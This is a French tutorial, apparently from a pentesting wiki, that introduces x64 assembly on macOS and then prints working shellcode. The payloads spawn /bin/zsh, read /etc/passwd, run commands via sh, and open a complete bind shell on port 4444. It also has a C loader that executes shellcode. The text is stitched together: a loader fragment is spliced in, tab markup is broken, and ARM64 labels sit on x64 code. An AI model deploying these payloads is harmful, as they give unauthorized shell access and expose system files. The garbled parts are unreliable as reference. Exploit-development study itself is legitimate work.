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</details>
## **Introduction à x64**
x64, également connu sous le nom de x86-64, est une architecture de processeur 64 bits principalement utilisée dans les ordinateurs de bureau et les serveurs. Issu de l'architecture x86 produite par Intel et adoptée ultérieurement par AMD sous le nom AMD64, c'est l'architecture prédominante dans les ordinateurs personnels et les serveurs d'aujourd'hui.
### **Registres**
x64 étend l'architecture x86, avec **16 registres généraux** étiquetés `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi` et `r8` à `r15`. Chacun de ces registres peut stocker une valeur de **64 bits** (8 octets). Ces registres disposent également de sous-registres de 32 bits, 16 bits et 8 bits pour la compatibilité et des tâches spécifiques.
1.**`rax`** - Traditionnellement utilisé pour les **valeurs de retour** des fonctions.
2.**`rbx`** - Souvent utilisé comme **registre de base** pour les opérations de mémoire.
3.**`rcx`** - Couramment utilisé pour les **compteurs de boucle**.
4.**`rdx`** - Utilisé dans divers rôles, y compris les opérations arithmétiques étendues.
5.**`rbp`** - **Pointeur de base** pour le cadre de la pile.
6.**`rsp`** - **Pointeur de pile**, permettant de suivre le sommet de la pile.
7.**`rsi`** et **`rdi`** - Utilisés pour les index **source** et **destination** dans les opérations de chaîne/mémoire.
8.**`r8`** à **`r15`** - Registres généraux supplémentaires introduits dans x64.
### **Convention d'appel**
La convention d'appel x64 varie selon les systèmes d'exploitation. Par exemple :
* **Windows** : Les quatre premiers **paramètres** sont passés dans les registres **`rcx`**, **`rdx`**, **`r8`** et **`r9`**. Les autres paramètres sont poussés sur la pile. La valeur de retour est dans **`rax`**.
* **System V (couramment utilisé dans les systèmes de type UNIX)** : Les six premiers **paramètres entiers ou pointeurs** sont passés dans les registres **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`** et **`r9`**. La valeur de retour est également dans **`rax`**.
Si la fonction a plus de six entrées, le **reste sera passé sur la pile**. **RSP**, le pointeur de pile, doit être **aligné sur 16 octets**, ce qui signifie que l'adresse vers laquelle il pointe doit être divisible par 16 avant tout appel. Cela signifie qu'en général, nous devrions nous assurer que RSP est correctement aligné dans notre shellcode avant d'effectuer un appel de fonction. Cependant, en pratique, les appels système fonctionnent souvent même si cette exigence n'est pas respectée.
Swift a sa propre **convention d'appel** que l'on peut trouver dans [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64)
* **`mov`** : **Déplace** une valeur d'un **registre** ou d'un **emplacement mémoire** vers un autre.
* Exemple : `mov rax, rbx` — Déplace la valeur de `rbx` vers `rax`.
* **`push`** et **`pop`** : Pousse ou dépile des valeurs vers/depuis la **pile**.
* Exemple : `push rax` — Pousse la valeur de `rax` sur la pile.
* Exemple : `pop rax` — Dépile la valeur supérieure de la pile dans `rax`.
* **`add`** et **`sub`** : Opérations d'**addition** et de **soustraction**.
* Exemple : `add rax, rcx` — Ajoute les valeurs de `rax` et `rcx` en stockant le résultat dans `rax`.
* **`mul`** et **`div`** : Opérations de **multiplication** et de **division**. Remarque : elles ont des comportements spécifiques concernant l'utilisation des opérandes.
* **`call`** et **`ret`** : Utilisés pour **appeler** et **revenir des fonctions**.
* **`int`** : Utilisé pour déclencher une **interruption logicielle**. Par exemple, `int 0x80` était utilisé pour les appels système en x86 Linux 32 bits.
* **`cmp`** : **Compare** deux valeurs et définit les indicateurs du CPU en fonction du résultat.
* Exemple : `cmp rax, rdx` — Compare `rax` à `rdx`.
* **`je`, `jne`, `jl`, `jge`, ...** : Instructions de **saut conditionnel** qui modifient le flux de contrôle en fonction des résultats d'un `cmp` ou d'un test précédent.
* Exemple : Après une instruction `cmp rax, rdx`, `je label` — Sauter à `label` si `rax` est égal à `rdx`.
* **`syscall`** : Utilisé pour les **appels système** dans certains systèmes x64 (comme les systèmes Unix modernes).
* **`sysenter`** : Une instruction d'**appel système** optimisée sur certaines plates-formes.
Il existe différentes classes d'appels système, vous pouvez les [**trouver ici**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
Ensuite, vous pouvez trouver le numéro de chaque appel système [**dans cette URL**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:**
```c
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr;
sc();
return 0;
}
```
</details>
#### Shell
Extrait de [**ici**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) et expliqué.
{% tabs %}
{% tab title="avec adr" %}
```armasm
bits 64
global _main
_main:
call r_cmd64
db '/bin/zsh', 0
r_cmd64: ; the call placed a pointer to db (argv[2])
pop rdi ; arg1 from the stack placed by the call to l_cmd64
xor rdx, rdx ; store null arg3
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```
{% tab title="avec la pile" %}
```armasm
bits 64
global _main
_main:
xor rdx, rdx ; zero our RDX
push rdx ; push NULL string terminator
mov rbx, '/bin/zsh' ; move the path into RBX
push rbx ; push the path, to the stack
mov rdi, rsp ; store the stack pointer in RDI (arg1)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```
{% endtab %}
{% endtabs %}
#### Lire avec cat
L'objectif est d'exécuter `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, donc le deuxième argument (x1) est un tableau de paramètres (ce qui signifie en mémoire une pile d'adresses).
```armasm
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48`
lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"
; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi ; Add "/etc/passwd" to the stack (arg0)
push rdi ; Add "/bin/cat" to the stack (arg1)
; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp ; argv=rsp - store RSP's value in RSI
xor rdx, rdx ; Clear rdx to hold NULL (no environment variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall ; Make the syscall
section .data
cat_path: db "/bin/cat", 0
passwd_path: db "/etc/passwd", 0
```
#### Exécuter une commande avec sh
Pour exécuter une commande avec `sh` sur macOS, vous pouvez utiliser la syntaxe suivante :
```sh
sh -c "commande"
```
Remplacez `"commande"` par la commande que vous souhaitez exécuter. Par exemple, si vous souhaitez exécuter la commande `ls -l` avec `sh`, vous pouvez utiliser la commande suivante :
```sh
sh -c "ls -l"
```
Cela exécutera la commande `ls -l` en utilisant `sh` sur votre système macOS.
```armasm
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 32 ; Create space on the stack
; Argument array
lea rdi, [rel touch_command]
push rdi ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi ; push &"-c"
lea rdi, [rel sh_path]
push rdi ; push &"/bin/sh"
; execve syscall
mov rsi, rsp ; rsi = pointer to argument array
xor rdx, rdx ; rdx = NULL (no env variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
_exit:
xor rdi, rdi ; Exit status code 0
push 1 ; put 1 on the stack (exit syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
section .data
sh_path: db "/bin/sh", 0
sh_c_option: db "-c", 0
touch_command: db "touch /tmp/lalala", 0
```
#### Shell en écoute
Shell en écoute depuis [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) sur le **port 4444**.
```armasm
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xffffffffa3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; bind(host_sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x68
syscall
; listen(host_sockid, 2)
xor rsi, rsi
mov sil, 0x2
mov rax, r8
mov al, 0x6a
syscall
; accept(host_sockid, 0, 0)
xor rsi, rsi
xor rdx, rdx
mov rax, r8
mov al, 0x1e
syscall
mov rdi, rax
mov sil, 0x3
dup2:
; dup2(client_sockid, 2)
; -> dup2(client_sockid, 1)
; -> dup2(client_sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
mov rax, r8
mov al, 0x3b
syscall
```
#### Reverse Shell
Reverse shell depuis [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Reverse shell vers **127.0.0.1:4444**.
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